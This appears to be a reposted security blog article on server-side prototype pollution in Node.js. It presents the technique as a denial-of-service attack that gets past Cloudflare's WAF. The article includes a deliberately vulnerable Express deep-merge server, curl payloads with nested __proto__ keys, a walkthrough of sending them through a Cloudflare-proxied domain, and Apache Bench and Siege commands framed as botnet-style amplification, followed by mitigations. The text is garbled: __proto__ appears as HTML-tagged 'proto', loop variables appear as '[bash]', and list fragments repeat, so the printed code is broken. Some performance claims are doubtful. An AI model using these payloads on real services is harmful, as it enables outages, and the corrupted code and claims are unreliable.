Listen to this Post

Introduction:
Prototype pollution is a JavaScript vulnerability that allows attackers to inject properties into an object’s prototype, potentially altering application behavior. When combined with recursive deep‑merge operations, a single malicious JSON payload can force a server into an infinite‑like loop, consuming CPU and causing a Denial of Service (DoS). This article dissects a real‑world technique that bypasses Cloudflare’s signature‑based WAF by leveraging perfectly valid JSON, highlighting why traditional filters fail and how defenders can mitigate such logic‑level attacks.
Learning Objectives:
- Understand prototype pollution and its server‑side implications.
- Learn to exploit recursive deep‑merge bottlenecks to cause application‑level DoS.
- Identify limitations of signature‑based WAFs and implement effective countermeasures.
You Should Know:
1. Understanding Prototype Pollution in Node.js
Prototype pollution occurs when an attacker manipulates `__proto__` or `constructor.prototype` to inject properties into the prototype chain. In JavaScript, objects inherit properties from their prototype. Modifying the prototype can affect all objects that inherit from it, leading to unexpected behavior.
Step‑by‑step:
- Create a simple Node.js script to demonstrate prototype pollution:
// demo.js let baseObject = {}; console.log(baseObject.polluted); // undefined</li> </ul> // Malicious payload let malicious = JSON.parse('{"<strong>proto</strong>": {"polluted": true}}'); Object.assign(baseObject, malicious); console.log(baseObject.polluted); // true – the prototype was polluted!– Run it with
node demo.js. Notice how `polluted` appears on `baseObject` even though it was never directly assigned.
– This shows that modifying `__proto__` can inject properties globally.2. The Deep Merge Vulnerability
Many Node.js applications use recursive merging to combine objects (e.g.,
Object.assign, Lodash’smerge, or custom deep‑merge functions). If the merge function does not safeguard against `__proto__` keys, an attacker can nest `__proto__` objects to force deep recursion, consuming server resources.Step‑by‑step:
- Create a vulnerable Express server that performs deep merge on request bodies:
const express = require('express'); const app = express(); app.use(express.json());</li> </ul> function deepMerge(target, source) { for (let key in source) { if (source[bash] && typeof source[bash] === 'object') { if (!target[bash]) target[bash] = {}; deepMerge(target[bash], source[bash]); } else { target[bash] = source[bash]; } } return target; } app.post('/anythingyousehere', (req, res) => { let config = { service: "default" }; deepMerge(config, req.body); res.json(config); }); app.listen(3000, () => console.log('Server on port 3000'));– Start the server:
node server.js.3. Simulating the Attack with curl
We will measure response times for normal and malicious requests to observe the performance impact.
Step‑by‑step (Linux/macOS):
- Send a normal request:
time curl -X POST http://localhost:3000/anythingyousehere \ -H "Content-Type: application/json" \ -d '{"service":"nice"}'
Output (real time) ~ 150 ms.
- Send the malicious payload with triple‑nested
__proto__:time curl -X POST http://localhost:3000/anythingyousehere \ -H "Content-Type: application/json" \ -d '{"service":{"<strong>proto</strong>":{"<strong>proto</strong>":{"<strong>proto</strong>":{"service":"nice"}}}}}'Output (real time) ~ 850 ms or higher, depending on server load.
Step‑by‑step (Windows PowerShell):
Measure-Command { curl.exe -X POST http://localhost:3000/anythingyousehere -H "Content-Type: application/json" -d '{\"service\":\"nice\"}' }Repeat for the malicious payload.
The significant time increase (704 ms) indicates the server is spending extra cycles recursively traversing the nested `__proto__` chain.
4. Analyzing the Impact – Monitoring Server Resources
During the attack, monitor CPU and memory to confirm resource exhaustion.
Linux commands:
- Use `top` or `htop` to watch Node.js process CPU usage.
- Specific monitoring:
pidstat -p $(pgrep node) 1
- Or use `strace` to see system calls:
strace -p $(pgrep node) -c
You’ll notice an increase in CPU time spent in user mode.
Windows commands:
- Use Task Manager or Performance Monitor (
perfmon) to track the Node.js process. - PowerShell:
Get-Process -Name node | Select-Object CPU, WorkingSet
- Why Cloudflare Didn’t Block It – WAF Limitations
Cloudflare’s WAF is signature‑based, looking for known attack patterns (SQLi, XSS, etc.). Our payload is valid JSON with no malicious strings. The attack only triggers after the data reaches the application’s merge logic.
Testing Cloudflare bypass:
- Deploy the vulnerable server behind a Cloudflare‑proxied domain.
- Send the malicious request through Cloudflare:
curl -X POST https://yourdomain.com/anythingyousehere \ -H "Content-Type: application/json" \ -d '{"service":{"<strong>proto</strong>":{"<strong>proto</strong>":{"<strong>proto</strong>":{"service":"nice"}}}}}' - Observe that Cloudflare passes the request (HTTP 200) and the server still suffers the performance hit.
Mitigation at WAF level:
- Create a custom WAF rule in Cloudflare to block requests containing `__proto__` in JSON bodies. However, this may cause false positives if legitimate data uses that string.
- Use Rate Limiting to restrict the number of requests per IP, reducing the impact of a distributed attack.
6. Mitigation Strategies – Secure Coding and Configuration
Developers must protect against prototype pollution at the code level.
Step‑by‑step fixes:
- Use `Object.create(null)` to create objects without a prototype:
let config = Object.create(null); config.service = "default"; // Now `__proto__` injections won't affect config.
-
Sanitize JSON input by stripping `__proto__` keys before merging:
function removeProto(obj) { for (let key in obj) { if (key === '<strong>proto</strong>') delete obj[bash]; else if (typeof obj[bash] === 'object') removeProto(obj[bash]); } return obj; } app.post('/anythingyousehere', (req, res) => { let safeBody = removeProto(req.body); let config = { service: "default" }; deepMerge(config, safeBody); res.json(config); }); -
Use safe merging libraries like Lodash’s `merge` with customizer to ignore
__proto__:const _ = require('lodash'); let config = _.merge({ service: "default" }, req.body, (objValue, srcValue, key) => { if (key === '<strong>proto</strong>') return objValue; }); -
Employ JSON schema validation (e.g., Ajv) to reject unexpected properties.
7. Advanced Exploitation – Scaling the Attack
If an attacker controls multiple clients (e.g., a botnet), they can amplify the DoS effect. Simulate with a load‑testing tool:
Using Apache Bench (ab):
ab -n 1000 -c 50 -p payload.json -T application/json http://localhost:3000/anythingyousehere
Where `payload.json` contains the malicious nested payload. Compare with normal payload to see increased response times and potential service degradation.
Using Siege:
siege -c 50 -t 30S -H "Content-Type: application/json" -f urls.txt
With `urls.txt` containing the endpoint and payload via POST.
The result: even a moderate number of concurrent malicious requests can exhaust server resources, leading to denial of service for legitimate users.
What Undercode Say:
- Key Takeaway 1: Prototype pollution is a critical server‑side threat, not just a client‑side curiosity. It can turn a seemingly harmless JSON payload into a resource‑exhaustion weapon.
- Key Takeaway 2: Signature‑based WAFs are blind to application‑logic attacks. Defenders must adopt defense‑in‑depth: secure coding practices, input validation, and behavioral monitoring.
Analysis: The attack leverages a fundamental JavaScript feature—prototype inheritance—against itself. Because the payload is syntactically valid, it slips past traditional filters. This highlights the growing need for WAFs to incorporate behavioral analysis and anomaly detection, not just static signatures. Developers, meanwhile, must treat user‑supplied objects as untrusted and avoid recursive merging without proper safeguards. As applications increasingly rely on JSON APIs, such logic‑level vulnerabilities will become prime targets for attackers seeking low‑effort, high‑impact exploits.
Prediction:
Future WAF solutions will integrate machine learning to detect abnormal request patterns, such as excessive nesting or repetitive `__proto__` keys, even when the payload is technically valid. Additionally, runtime application self‑protection (RASP) tools will become essential to monitor and block prototype pollution attempts in real time. On the development side, frameworks may start defaulting to prototype‑free objects for parsed JSON, mitigating this entire class of attacks at the language level.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sans1986 Newresearch – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
- Send a normal request:
- Create a vulnerable Express server that performs deep merge on request bodies:


